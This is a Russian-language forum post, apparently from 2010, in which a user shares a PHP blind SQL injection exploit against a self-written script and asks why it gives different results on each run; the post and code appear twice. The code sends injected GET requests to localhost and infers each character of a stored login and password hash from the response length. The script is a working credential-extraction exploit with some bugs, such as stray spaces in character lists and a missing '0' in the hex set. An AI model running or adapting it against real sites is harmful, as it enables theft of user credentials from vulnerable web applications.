scorpic393
23.03.2010, 16:32
Вот я написал сплоит blind sql-inj для самопального скрипта
вот код
<?php
$size=CheckSize();echo $size."<br>";
GetLogin();
GetPassword();
function GetLogin()
{
$char=array('a','b','c','d','e','f','g','h','i','j ','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z');
for($pos=1;$pos<=5;$pos++)
for($i=0;$i<=26;$i++)
{
$url="http://localhost/index.php?id=1&type=art";
$script="' and substring((select login from users),$pos,1)='$char[$i]'/*";
$headers="GET $url".urlencode($script)." HTTP/1.0\r\n\r\n";
$headers.="Accept-Language: en-us,en;q=0.5\r\n";
$headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
$headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
$headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$headers.="Connection: keep-alive\r\n";
$headers.="Host: localhost\r\n\r\n";
$response=Send("localhost",$headers);
//echo "<pre>$headers</pre>";echo "<pre>$response</pre>";
if(strlen($response)==324)
{
echo $char[$i];
}
}
}
function GetPassword()
{
$char=array('1','2','3','4','5','6','7','8','9','a ','b','c','d','e','f');
for($pos=1;$pos<=32;$pos++)
for($i=0;$i<=15;$i++)
{
$url="http://localhost/index.php?id=1&type=art";
$script="' and substring((select password from users),$pos,1)='$char[$i]'/*";
$headers="GET $url".urlencode($script)." HTTP/1.0\r\n\r\n";
$headers.="Accept-Language: en-us,en;q=0.5\r\n";
$headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
$headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
$headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$headers.="Connection: keep-alive\r\n";
$headers.="Host: localhost\r\n\r\n";
$response=Send("localhost",$headers);
//echo "<pre>$headers</pre>";echo "<pre>$response</pre>";
if(strlen($response)==324)
{
echo $char[$i];
}
}
}
function Send($host,$headers)
{
$fsock=fsockopen("localhost",80);
fwrite($fsock,$headers);
while(!feof($fsock))
$response=fread($fsock,1024);
return $response;
fclose($fsock);
}
function CheckSize()
{
$url="http://localhost/index.php?id=1&type=art";
$headers="GET $url HTTP/1.0\r\n\r\n";
$headers.="Accept-Language: en-us,en;q=0.5\r\n";
$headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
$headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
$headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$headers.="Connection: keep-alive\r\n";
$headers.="Host: localhost\r\n\r\n";
$response=Send("localhost",$headers);
return strlen($response);
}
?>
Трабла в том, что при каждом запуске разные результаты, причём бываю и правильные. Подскажите пожалуйсто что я не так делаю.
вот код
<?php
$size=CheckSize();echo $size."<br>";
GetLogin();
GetPassword();
function GetLogin()
{
$char=array('a','b','c','d','e','f','g','h','i','j ','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z');
for($pos=1;$pos<=5;$pos++)
for($i=0;$i<=26;$i++)
{
$url="http://localhost/index.php?id=1&type=art";
$script="' and substring((select login from users),$pos,1)='$char[$i]'/*";
$headers="GET $url".urlencode($script)." HTTP/1.0\r\n\r\n";
$headers.="Accept-Language: en-us,en;q=0.5\r\n";
$headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
$headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
$headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$headers.="Connection: keep-alive\r\n";
$headers.="Host: localhost\r\n\r\n";
$response=Send("localhost",$headers);
//echo "<pre>$headers</pre>";echo "<pre>$response</pre>";
if(strlen($response)==324)
{
echo $char[$i];
}
}
}
function GetPassword()
{
$char=array('1','2','3','4','5','6','7','8','9','a ','b','c','d','e','f');
for($pos=1;$pos<=32;$pos++)
for($i=0;$i<=15;$i++)
{
$url="http://localhost/index.php?id=1&type=art";
$script="' and substring((select password from users),$pos,1)='$char[$i]'/*";
$headers="GET $url".urlencode($script)." HTTP/1.0\r\n\r\n";
$headers.="Accept-Language: en-us,en;q=0.5\r\n";
$headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
$headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
$headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$headers.="Connection: keep-alive\r\n";
$headers.="Host: localhost\r\n\r\n";
$response=Send("localhost",$headers);
//echo "<pre>$headers</pre>";echo "<pre>$response</pre>";
if(strlen($response)==324)
{
echo $char[$i];
}
}
}
function Send($host,$headers)
{
$fsock=fsockopen("localhost",80);
fwrite($fsock,$headers);
while(!feof($fsock))
$response=fread($fsock,1024);
return $response;
fclose($fsock);
}
function CheckSize()
{
$url="http://localhost/index.php?id=1&type=art";
$headers="GET $url HTTP/1.0\r\n\r\n";
$headers.="Accept-Language: en-us,en;q=0.5\r\n";
$headers.="Accept-Charset: utf-8,*;q=0.7\r\n";
$headers.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
$headers.="User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
$headers.="Connection: keep-alive\r\n";
$headers.="Host: localhost\r\n\r\n";
$response=Send("localhost",$headers);
return strlen($response);
}
?>
Трабла в том, что при каждом запуске разные результаты, причём бываю и правильные. Подскажите пожалуйсто что я не так делаю.